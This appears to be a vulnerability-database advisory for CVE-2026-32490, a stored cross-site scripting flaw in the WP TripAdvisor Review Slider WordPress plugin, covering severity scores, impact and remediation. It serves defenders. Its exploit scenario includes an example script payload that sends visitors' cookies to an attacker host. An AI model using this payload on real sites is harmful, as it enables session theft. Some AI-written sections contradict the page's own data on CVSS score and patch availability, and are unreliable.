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Wp Tripadvisor Review Slider CVE-2026-32490

| EUVDEUVD-2026-15832 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-25 Patchstack GHSA-77pg-69m3-j9m7
6.5
CVSS 3.1 · NVD
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Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

Without a CVSS vector, EPSS score, or confirmation of KEV status, a complete quantitative risk assessment is challenging. However, the qualitative signals are concerning: Stored XSS vulnerabilities are inherently high-severity due to their persistent nature and broad victim scope (all site visitors). The attack vector is likely Network (via plugin input fields or settings), and complexity is typically Low for this vulnerability class. Patchstack's documentation suggests the vulnerability is confirmed and documented, implying proof-of-concept or functional demonstration exists. The lack of a CVSS score may indicate the CVE is recent or pending formal scoring by NVD. For a WordPress plugin affecting potentially thousands of sites, this represents a meaningful risk if the plugin is widely deployed. Organizations running WP TripAdvisor Review Slider should treat this as a high-priority remediation target, especially if the plugin is exposed to untrusted input or user-submitted reviews.

Exploit ScenarioDerived

An attacker with access to submit a review or modify plugin settings injects JavaScript code (e.g., <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>) into a review field or plugin configuration option. The malicious payload is stored in the WordPress database. When site administrators or visitors browse pages displaying the compromised review, the JavaScript executes in their browser context, allowing the attacker to steal session cookies, perform administrative actions, or inject additional malware. Because this is Stored XSS, the payload persists and affects every visitor until the review is deleted or the site is cleaned.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 25, 2026

A Stored Cross-Site Scripting (XSS) vulnerability exists in the WP TripAdvisor Review Slider WordPress plugin through version 14.1, allowing attackers to inject malicious scripts that persist in the database and execute in the browsers of site visitors. The vulnerability affects all versions up to and including 14.1, and an attacker with sufficient privileges to inject content can compromise user sessions, steal credentials, or perform arbitrary actions on behalf of site administrators. No CVSS score or EPSS data is currently available, and active exploitation status via KEV is unknown, but Patchstack has documented this as a confirmed vulnerability with a reference implementation.

RemediationAI

Immediately upgrade the WP TripAdvisor Review Slider plugin to a patched version beyond 14.1 (consult the vendor or Patchstack for the exact patched version number). Visit the official plugin repository or the vendor's website for patch availability. If no patch is immediately available, consider disabling the plugin until a fix is released, as Stored XSS in a public-facing plugin poses significant risk. As a temporary mitigation, restrict write access to plugin settings and review input fields to trusted administrator roles only, and consider using a Web Application Firewall (WAF) rule to detect and block script injection patterns in review submissions. Monitor the Patchstack database and official WordPress plugin repository for security updates.

Affected VersionsENISA

WP TripAdvisor Review Slider n/a ≤≤ 14.1

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Technical ContextAI · show details

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), which describes the failure to properly sanitize or escape user-supplied input before rendering it in HTML context. The affected product is the jgwhite33 WP TripAdvisor Review Slider plugin (CPE: cpe:2.3:a:jgwhite33:wp_tripadvisor_review_slider:*:*:*:*:*:*:*:*), a WordPress plugin designed to display TripAdvisor reviews on websites. The plugin likely fails to sanitize review data, custom fields, or plugin settings before storing them in the WordPress database or rendering them in front-end templates. Because the XSS is classified as Stored (rather than Reflected), the malicious payload persists in the database, making it a higher-severity attack vector that affects all subsequent visitors to the compromised page.

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Severity by source

NVD PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

DescriptionCVE.org

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in jgwhite33 WP TripAdvisor Review Slider wp-tripadvisor-review-slider allows Stored XSS.This issue affects WP TripAdvisor Review Slider: from n/a through <= 14.1.

Executive ViewAI

Why It Matters

CVE-2026-32490 presents notable security risk, a cross-site scripting vulnerability rated CVSS 6.5. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Moderate
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

Exploitation
None
System Exposure· derived
Open
Automatable
No
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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